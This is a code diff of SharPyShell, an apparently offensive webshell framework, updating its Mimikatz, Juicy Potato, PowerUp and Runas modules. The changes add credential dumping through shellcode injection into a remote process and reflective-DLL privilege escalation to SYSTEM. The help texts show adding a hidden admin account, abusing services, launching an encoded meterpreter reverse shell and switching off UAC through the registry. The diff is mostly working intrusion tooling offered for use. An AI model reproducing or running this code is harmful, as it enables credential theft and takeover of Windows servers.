@@ -79,6 +90,7 @@ class Mimikatz(Module):
|
|||||||
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
|
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
|
||||||
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
|
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
|
||||||
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
|
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
|
||||||
|
self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
|
||||||
|
|
||||||
def __parse_run_args(self, args):
|
def __parse_run_args(self, args):
|
||||||
args_parser = {k: v for k, v in enumerate(args)}
|
args_parser = {k: v for k, v in enumerate(args)}
|
||||||
@@ -86,32 +98,46 @@ class Mimikatz(Module):
|
|||||||
username = args_parser.get(1, self.__default_username)
|
username = args_parser.get(1, self.__default_username)
|
||||||
password = args_parser.get(2, self.__default_password)
|
password = args_parser.get(2, self.__default_password)
|
||||||
domain = args_parser.get(3, self.__default_domain)
|
domain = args_parser.get(3, self.__default_domain)
|
||||||
custom_command = args_parser.get(4, self.__default_exe_command if exec_type == 'exe' else self.__default_ps_command)
|
custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
|
||||||
return exec_type, username, password, domain, custom_command
|
return exec_type, username, password, domain, custom_command
|
||||||
|
|
||||||
def __lookup_exe_binary(self):
|
def __lookup_exe_binary(self):
|
||||||
if 'mimikatz.exe' in self._module_settings.keys():
|
if 'mimikatz.exe' in self._module_settings.keys():
|
||||||
bin_path = self._module_settings['mimikatz.exe']
|
bin_path = self._module_settings['mimikatz.exe']
|
||||||
else:
|
else:
|
||||||
exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
|
exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
|
||||||
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
||||||
print '\n\n\nUploading mimikatz binary....\n'
|
print ('\n\n\nUploading mimikatz binary....\n')
|
||||||
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
||||||
print upload_response
|
print (upload_response)
|
||||||
self._module_settings['mimikatz.exe'] = remote_upload_path
|
self._module_settings['mimikatz.exe'] = remote_upload_path
|
||||||
bin_path = remote_upload_path
|
bin_path = remote_upload_path
|
||||||
return bin_path
|
return bin_path
|
||||||
|
|
||||||
def __run_exe_version(self, username, password, domain, custom_command):
|
def __run_exe_version(self, username, password, domain, custom_command):
|
||||||
try:
|
|
||||||
remote_upload_path = self.__lookup_exe_binary()
|
remote_upload_path = self.__lookup_exe_binary()
|
||||||
if username == '':
|
if username == '':
|
||||||
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
|
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
|
||||||
else:
|
else:
|
||||||
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
|
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
|
||||||
parsed_response = self._parse_response(response)
|
parsed_response = self._parse_response(response)
|
||||||
except ModuleException as module_exc:
|
return parsed_response
|
||||||
parsed_response = str(module_exc)
|
|
||||||
|
def __run_dll_version(self, username, custom_command):
|
||||||
|
dll_name = 'powerkatz.dll'
|
||||||
|
exported_function_name = 'powershell_reflective_mimikatz'
|
||||||
|
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||||
|
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
|
||||||
|
if username == '':
|
||||||
|
print ('\n\nInjecting converted DLL shellcode into remote process...')
|
||||||
|
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
|
||||||
|
exported_function_name, exported_function_data])
|
||||||
|
response = self._parse_response(response)
|
||||||
|
response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
|
||||||
|
response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
|
||||||
|
else:
|
||||||
|
raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
|
||||||
|
parsed_response = self._parse_response(response)
|
||||||
return parsed_response
|
return parsed_response
|
||||||
|
|
||||||
def __run_ps_version(self, username, password, domain, custom_command):
|
def __run_ps_version(self, username, password, domain, custom_command):
|
||||||
@@ -127,6 +153,8 @@ class Mimikatz(Module):
|
|||||||
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
|
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
|
||||||
if exec_type == 'exe':
|
if exec_type == 'exe':
|
||||||
response = self.__run_exe_version(username, password, domain, custom_command)
|
response = self.__run_exe_version(username, password, domain, custom_command)
|
||||||
|
elif exec_type == 'dll':
|
||||||
|
response = self.__run_dll_version(username, custom_command)
|
||||||
else:
|
else:
|
||||||
response = self.__run_ps_version(username, password, domain, custom_command)
|
response = self.__run_ps_version(username, password, domain, custom_command)
|
||||||
parsed_response = self._parse_response(response)
|
parsed_response = self._parse_response(response)
|
||||||
|
|||||||
@@ -2,7 +2,9 @@ from core.Module import Module, ModuleException
|
|||||||
from core import config
|
from core import config
|
||||||
from modules.upload import Upload
|
from modules.upload import Upload
|
||||||
from modules.exec_cmd import Exec_cmd
|
from modules.exec_cmd import Exec_cmd
|
||||||
|
from modules.inject_dll_reflective import Inject_dll_reflective
|
||||||
from utils.random_string import random_generator
|
from utils.random_string import random_generator
|
||||||
|
from utils import shellcode
|
||||||
import random
|
import random
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
@@ -13,8 +15,13 @@ class PrivescJuicyPotatoModuleException(ModuleException):
|
|||||||
|
|
||||||
class Privesc_juicy_potato(Module):
|
class Privesc_juicy_potato(Module):
|
||||||
_exception_class = PrivescJuicyPotatoModuleException
|
_exception_class = PrivescJuicyPotatoModuleException
|
||||||
short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
|
short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
|
||||||
complete_help = r"""
|
complete_help = r"""
|
||||||
|
Authors: @decoder @ohpe @phra @lupman
|
||||||
|
Links: https://github.com/ohpe/juicy-potato
|
||||||
|
https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
|
||||||
|
|
||||||
|
|
||||||
Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
|
Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
|
||||||
Accounts to NT AUTHORITY\SYSTEM.
|
Accounts to NT AUTHORITY\SYSTEM.
|
||||||
This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
|
This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
|
||||||
@@ -24,32 +31,41 @@ class Privesc_juicy_potato(Module):
|
|||||||
This vulnerability is no longer exploitable with Windows Server 2019:
|
This vulnerability is no longer exploitable with Windows Server 2019:
|
||||||
https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
|
https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
|
||||||
|
|
||||||
Source Code:
|
|
||||||
https://github.com/ohpe/juicy-potato
|
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
#privesc_juicy_potato cmd [custom_args]
|
#privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
|
||||||
|
|
||||||
Positional arguments:
|
Positional arguments:
|
||||||
cmd command supported by cmd.exe
|
cmd command supported by cmd.exe
|
||||||
custom_args command line parameters to be passed to juicy potato binary
|
exec_type Type of execution of juicy potato, values can be:
|
||||||
Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
|
- 'reflective_dll'
|
||||||
|
- 'exe'
|
||||||
|
Default: 'reflective_dll'
|
||||||
|
clsid target CLSID to reflect
|
||||||
|
Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
|
||||||
|
custom_shellcode_path path to a file containing shellcode (format raw)
|
||||||
|
if set, this module will ignore 'cmd' argument
|
||||||
|
Default: 'default'
|
||||||
|
|
||||||
Examples:
|
Examples:
|
||||||
Add a new local admin:
|
Add a new local admin:
|
||||||
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add'
|
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
|
||||||
|
Run juicy reflecting a custom COM CLSID:
|
||||||
|
#privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
|
||||||
|
Run whoami with the classic Juicy Potato binary:
|
||||||
|
#privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
string ExecCmd(string exe_path, string custom_args, string cmd, string working_path)
|
string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
|
||||||
{
|
{
|
||||||
string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
|
string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
|
||||||
ProcessStartInfo pinfo = new ProcessStartInfo();
|
ProcessStartInfo pinfo = new ProcessStartInfo();
|
||||||
pinfo.FileName = exe_path;
|
pinfo.FileName = exe_path;
|
||||||
pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
|
pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
|
||||||
pinfo.RedirectStandardOutput = true;
|
pinfo.RedirectStandardOutput = true;
|
||||||
pinfo.RedirectStandardError = true;
|
pinfo.RedirectStandardError = true;
|
||||||
pinfo.UseShellExecute = false;
|
pinfo.UseShellExecute = false;
|
||||||
@@ -84,20 +100,29 @@ class Privesc_juicy_potato(Module):
|
|||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
|
__default_exec_type = 'reflective_dll'
|
||||||
|
__default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
|
||||||
|
__default_custom_shellcode_path = 'default'
|
||||||
|
|
||||||
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
||||||
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
||||||
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
|
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
|
||||||
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
|
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
|
||||||
|
self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
|
||||||
|
module_settings, request_object)
|
||||||
|
|
||||||
def __parse_run_args(self, args):
|
def __parse_run_args(self, args):
|
||||||
if len(args) < 1:
|
if len(args) < 1:
|
||||||
raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
|
raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
|
||||||
args_parser = {k: v for k, v in enumerate(args)}
|
args_parser = {k: v for k, v in enumerate(args)}
|
||||||
cmd = args_parser.get(0)
|
cmd = args_parser.get(0)
|
||||||
custom_args = args_parser.get(1, self.__default_custom_args)
|
exec_type = args_parser.get(1, self.__default_exec_type)
|
||||||
return cmd, custom_args
|
self.__random_listening_port = str(random.randint(10000, 65000))
|
||||||
|
clsid = args_parser.get(2, self.__default_clsid)
|
||||||
|
arguments = ' -t * -l %s -c %s -p '
|
||||||
|
arguments = arguments % (self.__random_listening_port, clsid)
|
||||||
|
custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
|
||||||
|
return cmd, exec_type, arguments, custom_shellcode_path, clsid
|
||||||
|
|
||||||
def __lookup_binary(self):
|
def __lookup_binary(self):
|
||||||
if 'JuicyPotato.exe' in self._module_settings.keys():
|
if 'JuicyPotato.exe' in self._module_settings.keys():
|
||||||
@@ -105,28 +130,72 @@ class Privesc_juicy_potato(Module):
|
|||||||
else:
|
else:
|
||||||
exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
|
exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
|
||||||
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
||||||
print '\n\n\nUploading Juicy Potato binary....\n'
|
print ('\n\n\nUploading Juicy Potato binary....\n')
|
||||||
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
||||||
print upload_response
|
print (upload_response)
|
||||||
self._module_settings['JuicyPotato.exe'] = remote_upload_path
|
self._module_settings['JuicyPotato.exe'] = remote_upload_path
|
||||||
bin_path = remote_upload_path
|
bin_path = remote_upload_path
|
||||||
return bin_path
|
return bin_path
|
||||||
|
|
||||||
def _create_request(self, args):
|
def __run_exe_version(self, cmd, arguments):
|
||||||
exe_path, custom_args, cmd = args
|
exe_path = self.__lookup_binary()
|
||||||
working_path = self._module_settings['working_directory']
|
working_path = self._module_settings['working_directory']
|
||||||
return self._runtime_code % (exe_path, custom_args, cmd, working_path)
|
request = self._runtime_code % (exe_path, arguments, cmd, working_path)
|
||||||
|
|
||||||
def run(self, args):
|
|
||||||
try:
|
|
||||||
cmd, custom_args = self.__parse_run_args(args)
|
|
||||||
upload_path = self.__lookup_binary()
|
|
||||||
request = self._create_request([upload_path, custom_args, cmd])
|
|
||||||
encrypted_request = self._encrypt_request(request)
|
encrypted_request = self._encrypt_request(request)
|
||||||
encrypted_response = self._post_request(encrypted_request)
|
encrypted_response = self._post_request(encrypted_request)
|
||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
decrypted_response = self._decrypt_response(encrypted_response)
|
||||||
parsed_response = self._parse_response(decrypted_response)
|
parsed_response = self._parse_response(decrypted_response)
|
||||||
parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
|
return parsed_response
|
||||||
|
|
||||||
|
def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
|
||||||
|
LogFile = logfile.encode()
|
||||||
|
remote_process = b'notepad.exe'
|
||||||
|
CLSID = clsid.encode()
|
||||||
|
ListeningPort = self.__random_listening_port.encode()
|
||||||
|
RpcServerHost = b'127.0.0.1'
|
||||||
|
RpcServerPort = b'135'
|
||||||
|
ListeningAddress = b'127.0.0.1'
|
||||||
|
if custom_shellcode_path == 'default':
|
||||||
|
shellcode_bytes = shellcode.winexec_x64 + b'cmd /c "' + cmd.encode() + b'"\00'
|
||||||
|
thread_timeout = '60000'
|
||||||
|
else:
|
||||||
|
thread_timeout = '0'
|
||||||
|
with open(custom_shellcode_path, 'rb') as file_handle:
|
||||||
|
shellcode_bytes = file_handle.read()
|
||||||
|
configuration = LogFile + b'\00'
|
||||||
|
configuration += remote_process + b'\00'
|
||||||
|
configuration += CLSID + b'\00'
|
||||||
|
configuration += ListeningPort + b'\00'
|
||||||
|
configuration += RpcServerHost + b'\00'
|
||||||
|
configuration += RpcServerPort + b'\00'
|
||||||
|
configuration += ListeningAddress + b'\00'
|
||||||
|
configuration += str(len(shellcode_bytes)).encode() + b'\00'
|
||||||
|
configuration += shellcode_bytes
|
||||||
|
configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in configuration) + '}'
|
||||||
|
response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
|
||||||
|
'cmd.exe', thread_timeout, configuration_bytes_csharp])
|
||||||
|
parsed_response = self._parse_response(response)
|
||||||
|
return parsed_response
|
||||||
|
|
||||||
|
def _create_request(self, args):
|
||||||
|
exe_path, arguments, cmd = args
|
||||||
|
working_path = self._module_settings['working_directory']
|
||||||
|
return self._runtime_code % (exe_path, arguments, cmd, working_path)
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
try:
|
||||||
|
cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
|
||||||
|
if exec_type == 'exe':
|
||||||
|
response = self.__run_exe_version(cmd, arguments)
|
||||||
|
else:
|
||||||
|
logfile = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||||
|
print ('\n\nInjecting Reflective DLL into remote process...')
|
||||||
|
response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
|
||||||
|
response += '\nReflective DLL injection executed!\n\n'
|
||||||
|
if custom_shellcode_path == 'default':
|
||||||
|
response += '\nOutput of juicy potato:\n\n'
|
||||||
|
response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
|
||||||
|
parsed_response = self._parse_response(response)
|
||||||
except ModuleException as module_exc:
|
except ModuleException as module_exc:
|
||||||
parsed_response = str(module_exc)
|
parsed_response = str(module_exc)
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|||||||
@@ -12,6 +12,10 @@ class Privesc_powerup(Module):
|
|||||||
_exception_class = PrivescPowerupModuleException
|
_exception_class = PrivescPowerupModuleException
|
||||||
short_help = "Run Powerup module to assess all misconfiguration for privesc"
|
short_help = "Run Powerup module to assess all misconfiguration for privesc"
|
||||||
complete_help = r"""
|
complete_help = r"""
|
||||||
|
Author: @PowerShellMafia
|
||||||
|
Link: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1
|
||||||
|
|
||||||
|
|
||||||
This module run the Powerup.ps1 script in order to find all possible misconfiguration that can
|
This module run the Powerup.ps1 script in order to find all possible misconfiguration that can
|
||||||
lead to a privilege escalation.
|
lead to a privilege escalation.
|
||||||
The output of this module will be just informative, no automatic privesc exploitation will be performed.
|
The output of this module will be just informative, no automatic privesc exploitation will be performed.
|
||||||
@@ -19,8 +23,6 @@ class Privesc_powerup(Module):
|
|||||||
a user to runas this module.
|
a user to runas this module.
|
||||||
If no users are provided this module will run under the application pool running user.
|
If no users are provided this module will run under the application pool running user.
|
||||||
|
|
||||||
Source Code:
|
|
||||||
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
|
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
#privesc_powerup [username] [password] [domain] [custom_command]
|
#privesc_powerup [username] [password] [domain] [custom_command]
|
||||||
@@ -30,7 +32,7 @@ class Privesc_powerup(Module):
|
|||||||
password password of the user to runas the process
|
password password of the user to runas the process
|
||||||
domain domain of the user to runas the process
|
domain domain of the user to runas the process
|
||||||
custom_command the command to run within the module
|
custom_command the command to run within the module
|
||||||
Default: ';Invoke-AllChecks'
|
Default: ';Invoke-PrivescAudit -Format List'
|
||||||
|
|
||||||
Examples:
|
Examples:
|
||||||
Run powerup as the current user
|
Run powerup as the current user
|
||||||
@@ -39,15 +41,15 @@ class Privesc_powerup(Module):
|
|||||||
#privesc_powerup 'user1' 'password1'
|
#privesc_powerup 'user1' 'password1'
|
||||||
Run powerup as a specific domain user
|
Run powerup as a specific domain user
|
||||||
#privesc_powerup 'user1' 'password1' 'domain'
|
#privesc_powerup 'user1' 'password1' 'domain'
|
||||||
Run powerup with a custom command, i.e. save report as html
|
Run powerup with a custom command, i.e. abusing a service misconfiguration
|
||||||
#privesc_powerup '' '' '' ';Invoke-AllChecks -HTMLReport'
|
#privesc_powerup '' '' '' ';Invoke-ServiceAbuse -Name "VulnSvc"'
|
||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__default_username = ''
|
__default_username = ''
|
||||||
__default_password = ''
|
__default_password = ''
|
||||||
__default_domain = ''
|
__default_domain = ''
|
||||||
__default_custom_command = ';Invoke-AllChecks'
|
__default_custom_command = ';Invoke-PrivescAudit -Format List'
|
||||||
|
|
||||||
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
||||||
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
||||||
|
|||||||
+23
-8
File diff suppressed because one or more lines are too long
Vendored
+1435
-456
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
+153
-61
@@ -16,7 +16,11 @@ class Runas(Module):
|
|||||||
The calling process will wait until the end of the execution of the spawned process.
|
The calling process will wait until the end of the execution of the spawned process.
|
||||||
The two processes will communicate through 2 pipeline files (1 for stdout and 1 for stderr).
|
The two processes will communicate through 2 pipeline files (1 for stdout and 1 for stderr).
|
||||||
The default logon type is 3 (Network_Logon).
|
The default logon type is 3 (Network_Logon).
|
||||||
If you set Interactive (2) logon type you will face some restriction problems.
|
If you set Interactive (2) logon type you will face some UAC restriction problems.
|
||||||
|
You can make interactive login without restrictions by setting the following regkey to 0 and restart the server:
|
||||||
|
|
||||||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
|
||||||
|
|
||||||
If you need to spawn a background or async process, i.e. spawning a reverse shell, set the argument
|
If you need to spawn a background or async process, i.e. spawning a reverse shell, set the argument
|
||||||
'process_timeout_ms' to 0.
|
'process_timeout_ms' to 0.
|
||||||
|
|
||||||
@@ -30,8 +34,7 @@ class Runas(Module):
|
|||||||
domain domain of the user, if in a domain.
|
domain domain of the user, if in a domain.
|
||||||
Default: ''
|
Default: ''
|
||||||
process_timeout_ms the waiting time (in ms) to use in the WaitForSingleObject() function.
|
process_timeout_ms the waiting time (in ms) to use in the WaitForSingleObject() function.
|
||||||
This will halt the process until the spawned process ends and sent
|
This will halt the process until the spawned process ends and sent the output back to the webshell.
|
||||||
the output back to the webshell.
|
|
||||||
If you set 0 an async process will be created and no output will be retrieved.
|
If you set 0 an async process will be created and no output will be retrieved.
|
||||||
Default: '60000'
|
Default: '60000'
|
||||||
logon_type the logon type for the spawned process.
|
logon_type the logon type for the spawned process.
|
||||||
@@ -42,6 +45,8 @@ class Runas(Module):
|
|||||||
#runas whoami user1 password1
|
#runas whoami user1 password1
|
||||||
Run a command as a specific domain user
|
Run a command as a specific domain user
|
||||||
#runas whoami user1 password1 domain
|
#runas whoami user1 password1 domain
|
||||||
|
Run a command as a specific local user with logon type 2
|
||||||
|
#runas whoami user1 password1 '' 60000 2
|
||||||
Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
|
Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
|
||||||
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
|
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
|
||||||
Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
|
Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
|
||||||
@@ -49,32 +54,30 @@ class Runas(Module):
|
|||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
||||||
|
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
private const string error_string = "{{{SharPyShellError}}}";
|
||||||
{
|
|
||||||
private SafeTokenHandle()
|
|
||||||
: base(true)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll")]
|
private const int LOGON32_PROVIDER_DEFAULT = 0;
|
||||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
private const int LOGON32_PROVIDER_WINNT35 = 1;
|
||||||
[SuppressUnmanagedCodeSecurity]
|
private const int LOGON32_PROVIDER_WINNT40 = 2;
|
||||||
[return: MarshalAs(UnmanagedType.Bool)]
|
private const int LOGON32_PROVIDER_WINNT50 = 3;
|
||||||
private static extern bool CloseHandle(IntPtr handle);
|
|
||||||
|
|
||||||
protected override bool ReleaseHandle()
|
private const uint GENERIC_ALL = 0x10000000;
|
||||||
{
|
private const int SecurityImpersonation = 2;
|
||||||
return CloseHandle(handle);
|
private const int TokenType = 1;
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
|
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||||
|
|
||||||
|
private const uint WAIT_ABANDONED = 0x00000080;
|
||||||
|
private const uint WAIT_OBJECT_0 = 0x00000000;
|
||||||
|
private const uint WAIT_TIMEOUT = 0x00000102;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO
|
||||||
{
|
{
|
||||||
public int cb;
|
public int cb;
|
||||||
public String lpReserved;
|
public String lpReserved;
|
||||||
@@ -96,7 +99,7 @@ class Runas(Module):
|
|||||||
public IntPtr hStdError;
|
public IntPtr hStdError;
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
|
[StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION
|
||||||
{
|
{
|
||||||
public IntPtr hProcess;
|
public IntPtr hProcess;
|
||||||
public IntPtr hThread;
|
public IntPtr hThread;
|
||||||
@@ -104,44 +107,132 @@ class Runas(Module):
|
|||||||
public uint dwThreadId;
|
public uint dwThreadId;
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
|
[StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES
|
||||||
{
|
{
|
||||||
public int Length;
|
public int Length;
|
||||||
public IntPtr lpSecurityDescriptor;
|
public IntPtr lpSecurityDescriptor;
|
||||||
public bool bInheritHandle;
|
public bool bInheritHandle;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct LUID
|
||||||
|
{
|
||||||
|
public int LowPart;
|
||||||
|
public int HighPart;
|
||||||
|
}
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct TOKEN_PRIVILEGES
|
||||||
|
{
|
||||||
|
public UInt32 PrivilegeCount;
|
||||||
|
public LUID Luid;
|
||||||
|
public UInt32 Attributes;
|
||||||
|
}
|
||||||
|
|
||||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
||||||
public static extern bool CloseHandle(IntPtr handle);
|
private static extern bool CloseHandle(IntPtr handle);
|
||||||
|
|
||||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||||
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||||
|
|
||||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
||||||
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
private static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||||
|
|
||||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
